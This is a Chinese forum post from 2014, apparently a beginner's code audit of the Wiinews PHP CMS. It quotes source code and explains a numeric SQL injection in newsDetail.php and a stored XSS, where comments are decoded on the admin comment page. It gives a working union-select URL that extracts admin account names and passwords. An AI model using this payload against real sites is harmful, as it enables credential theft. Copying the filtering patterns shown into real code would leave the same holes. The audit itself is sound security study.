本帖最后由 匿名 于 2014-12-15 10:16 编辑
前言:分析的这套CMS比较垃圾,名字叫Wiinews,但也算小弟的第一次代码审计. 第一次发帖,文中有诸多不足.希望大家多多指点.小弟QQ 424237301,爱学习爱基友,希望能与大家共同学习交流!
最近闲的一B,于是昨天去chinaz找了一个cms想审计下
可以看到,已经带入数据库查询了.
看下源码.
[PHP] 纯文本查看 复制代码
<?php
$id=sqlReplace(Trim($_GET['id']));
$sqlStr="select * from wiinews_news where news_id=$id";
$result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1010");
$row = mysql_fetch_array($result);
if ($row){
$title=$row['news_title'];
$subtitle=$row['news_subtitle'];
$sort=$row['news_sort'];
$name=$row['news_name'];
$desc=$row['news_desc'];
$content=$row['news_content'];
$author=$row['news_author'];
$source=$row['news_source'];
$url1=$row['news_url'];
$addTime=$row['news_addTime'];
$newsStatus=$row['news_status'];
$pic=$row['news_picture'];
$comCount=$row['news_comCount'];
}else{
die ("新闻不存在。");
}
if ($newsStatus=="1")
die ("新闻处于待审核状态");
?>
红色标记的sqlReplace()应该是对传入的参数做过滤的,看看他是怎么过虑的,找到function.php
[PHP] 纯文本查看 复制代码
function sqlReplace($str)
{
$strResult = $str;
if(!get_magic_quotes_gpc())
{
$strResult = addslashes($strResult);
}
return HTMLEncode($strResult);
}
function HTMLEncode($str){
if (!empty($str)){
$str=str_replace("&","&",$str);
$str=str_replace(">",">",$str);
$str=str_replace("<","<",$str);
$str=str_replace(CHR(32)," ",$str); //空格
$str=str_replace(CHR(9)," ",$str); //tab
$str=str_replace(CHR(9)," ",$str);
$str=str_replace(CHR(34),""",$str); //"
$str=str_replace(CHR(39),"'",$str); //'
$str=str_replace(CHR(13),"",$str); //回车
$str=str_replace(CHR(10),"<br/>",$str); //
}
return $str;
}
这里他把一些字符给过滤了, = = 看着怎么好像……
来试试吧,咱们这里是数字型注入.所以应该是可以的.
exp : [AppleScript] 纯文本查看 复制代码 http://localhost/xw/newsDetail.php?id=2/**/and/**/1=2/**/union/**/select/**/1,2,admin_account,admin_password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/Wiinews_admin
还有其他很多地方也有注入,比如搜索栏.
但是想一想.搜索栏搜索是怎样一条语句?
Select * from table_name where news_title like ‘%搜索%’
如果注入的话,好像没办法避免单引号一类的.
另外在新闻下面可以评论的.
可以试试评论有xss一类的洞洞没.
看下源码是怎么做的.
[PHP] 纯文本查看 复制代码
<?php
$action=$_GET["act"];
switch($action){
case "post":
$id=Trim($_GET["id"]);
$comment=HTMLEncode($_POST["comment"]);
if(empty($comment)) {
die ("评论不能为空。<a href='newsDetail.php?id=".$id."'>返回</a>");
}
if(strlen($comment)>420){
die ("评论不能超过140字。<a href='newsDetail.php?id=".$id."'>返回</a>");
}
$sql="insert into wiinews_comment(comment_news,comment_name,comment_addTime,comment_ip,comment_content,comment_status) values ('".$id."','admin','".date("Y:m:d H:i:s")."','".$_SERVER['REMOTE_ADDR']."','".$comment."','".$commentCheck."')";
if(mysql_query($sql)) {
$sqlStr="update wiinews_news set news_comCount=news_comCount+1 where news_id='".$id."'";
mysql_query($sqlStr);
if($commentCheck=="1"){
echo "评论需审核,请等待...<a href='newsDetail.php?id=".$id."'>返回</a>";
}else{
echo "评论成功!<a href='newsDetail.php?id=".$id."'>返回</a>";
}
}else{
echo "评论失败!<a href='newsDetail.php?id=".$id."'>返回</a>";
}
break;
}
?>
红色标记.原来是这样. HTMLEncode()
可是,可是。
当我手贱的打开后台留言板的时候却。。
这是什么情况?
继续看代码.
commentDetail.php
[PHP] 纯文本查看 复制代码
<?php
$id=sqlReplace(Trim($_GET['id']));
if(empty($id)){
alertInfo("非法访问",'',1);
}else{
$sqlStr="select * from wiinews_comment where comment_id=".$id;
$result = mysql_query($sqlStr);
$row = mysql_fetch_array($result);
if($row)
{
$news=$row['comment_news'];
$name=$row['comment_name'];
$ip=$row['comment_ip'];
$addTime=$row['comment_addTime'];
$content=$row['comment_content'];
$status=$row['comment_status'];
}
}
$sqlStr1="select * from wiinews_news where news_id=$news";
$result1 = mysql_query($sqlStr1);
$row1 = mysql_fetch_array($result1);
if ($row1)
{
$newsName=$row1['news_title'];
}
?>
看着没什么问题嘛。。。。
但是。。
往下面继续看。。
[PHP] 纯文本查看 复制代码
<div class="fromcontent">
<p>评论人姓名:<?php echo $name; ?></p>
<p>评论人IP:<?php echo $ip; ?></p>
<p>评论时间:<?php echo $addTime;?></p>
<p>评论所属新闻:<?php echo $newsName; ?></p>
<p>内容: [<a href="news_do.php?act=del1&s=<?php echo $id?>">删除</a>] <?php If ($status=="1") {?> [<a href="news_do.php?act=check&id=<?php echo $id?>">审核通过</a>] <?php }?></p>
<hr/>
<?php echo HTMLDecode($content);?>
他最后把编码后的内容给还原了? 还原了?还原了?
不习惯看贴的,这边有附件。可以自行下载.
文章.doc
(324.5 KB, 下载次数: 9)
|